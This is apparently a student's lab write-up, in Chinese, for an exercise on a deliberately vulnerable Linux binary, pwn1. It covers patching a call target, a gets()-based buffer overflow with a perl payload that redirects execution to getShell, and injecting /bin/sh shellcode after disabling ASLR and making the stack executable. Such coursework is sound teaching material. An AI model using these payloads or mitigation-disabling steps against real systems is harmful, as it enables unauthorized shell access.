1. 程式人生 > >Exp1 PC平臺逆向破解 20154301仉鑫燁

Exp1 PC平臺逆向破解 20154301仉鑫燁

發現 進行 超過 方案 小端模式 分享 body 老師 src

Exp1 PC平臺逆向破解1 20154301仉鑫燁

1.實驗目標

本次實踐的對象是一個名為pwn1的linux可執行文件。

  1. 該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。
  2. 該程序同時包含另一個代碼片段,getShell,會返回一個可用Shell。正常情況下這個代碼是不會被運行的。實踐目標即為想辦法運行這個代碼片段。利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
  3. 註入一個自己制作的shellcode並運行這段shellcode。

這幾種思路,基本代表現實情況中的攻擊目標:

  • [1] 運行原本不可訪問的代碼片段
  • [2]強行修改程序執行流
  • [3]以及註入運行任意代碼。

2.實驗過程

第一部分:

復制文件並運行原代碼:
技術分享圖片

  • [x] 直接修改程序機器指令,改變程序執行流程
  • 首先使用命令:

    objdump -d pwn1_20155212 | more

    將程序反匯編。
    技術分享圖片

技術分享圖片

從圖中可以看到主函數中調用位於8048491處的foo函數,對應的機器指令為e8 d7 ff ff ff,通過猜測可知e8為跳轉之意。

本來正常流程,此時此刻EIP的值應該是下條指令的地址,即80484ba,但如一解釋e8這條指令,CPU就會轉而執行“EIP+d7ffffff”這個位置的指令。“d7ffffff”是補碼,表示-41,41=0x29,80484ba+d7ffffff=80484ba-0x29正好是8048491這個值。在這裏進行計算時要註意在計算機內是采用小端模式即低字節優先。

main函數調用foo,對應機器指令為“e8d7ffffff”,那我們想讓它調用getShell,只要修改“d7ffffff”為,"getShell-80484ba"對應的補碼就行。

47d-4ba得到補碼,是c3ffffff。下面我們就修改可執行文件,將其中的call指令的目標地址由d7ffffff變為c3ffffff。

  • 進入該文件的vi編輯模式:
    技術分享圖片

  • 搜索找到++e8 d7ff ffff++並修改成++e8 c3ff ffff++
    技術分享圖片

  • 鍵入如下命令wq,轉回原格式,並存盤退出。
    技術分享圖片

  • 再利用反匯編命令查看該文件
    技術分享圖片

技術分享圖片

第二部分:

  • [x] 通過構造輸入參數,造成BOF攻擊,改變程序執行流
    技術分享圖片

  • 反匯編,了解程序基本功能
    技術分享圖片

反匯編首先通過反匯編分析該文件,發現該可執行文件正常情況下是調用foo函數,而foo函數中使用了gets函數,該函數不會檢查用戶輸入的長度,所以我們可以通過輸入過長的參數,使超過部分溢出,覆蓋返回地址,造成BOF攻擊,改變程序執行流。

  • 確認輸入字符串哪幾個字符回復該到返回地址
    調試並運行該文件gdb 20154301 r,接下來即要求輸入參數,我們嘗試性地輸入1111111122222222333333334444444455555555
    執行結果如下圖所示,報錯。
    技術分享圖片

也就是說我們輸入的最後八個5中的某四個覆蓋了返回地址。

  • 確認用什麽值來覆蓋返回地址

在之前我們知道getshell的內存地址是0804847d,加上之前所學在計算機內采用小端優先存儲,我們可以確定需要輸入的字符串為++11111111222222223333333344444444\x7d\x84\x04\x08++

  • 構造輸入字符串
    技術分享圖片

  • 由於我們沒法通過鍵盤輸入指定的16進制,我們通過以下命令來完成此操作

perl -e ‘print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"‘ > input

並通過xxd查看其十六進制格式
技術分享圖片

然後將input的輸入,通過管道符|,作為20154301的輸入

(cat input; cat) | ./20154301

技術分享圖片

此時main函數成功地調用了getshell函數,此時我們就可以輸入shell指令了,如圖

第三部分:

  • [x] 註入shellcode並執行
  • 準備一段shellcode
apt-get instal prelink  (下載安裝ececstack,否則接下來的命令無法執行)
execstack -s 20154301(設置堆棧可執行)
execstack -q 20154301(查詢堆棧的文件是否可執行)
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space(關閉地址隨機化)
more /proc/sys/kernel/randomize_va_space

技術分享圖片
如上圖,顯示為0時表示地址已經隨機化

  • 註入shellcode

Linux構造buf的兩種方法
retaddr+nop+shellcode
nop+shellcode+retaddr
緩沖區足夠大,所以使用nops+shellcode+retaddr這個結構。
輸入如下shellcode:

perl -e ‘print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"‘ > input_shellcode

其中,x4x3x2x1 是用來試探地址的。

打開另一個終端,用gdb調試20154301這個進程

ps -ef | grep 20154301

找到進程號

gdb

啟動gdb調試這個進程

disassemble foo

通過設置斷點,來查看註入buf的內存地址

break *0x080484ae

再另一個終端裏按下回車
回到原終端

c

++用ps -ef | grep 查看進程號,並進行調試++

技術分享圖片
技術分享圖片
技術分享圖片

  • 前面的32個A用來填滿buf
    技術分享圖片

3.實驗總結

本次實驗對於初學者來說有一些困難,但通過老師的講解絕大部分問題都能夠加以解決。在最後註入shellcode的部分遇到了很多問題額,但通過與同學們討論並上網查閱相關解決辦法,最終也得以完成實驗。本次實驗的成功完成加強了我對於網絡對抗課程的興趣,希望在後續課程裏也能夠良好完成。


4.實驗問題

在apt-get過程中遇到資源不可用,無法解鎖的問題,後得以解決
技術分享圖片
技術分享圖片

解決方案:http://blog.csdn.net/microfhu/article/details/7669010

Exp1 PC平臺逆向破解 20154301仉鑫燁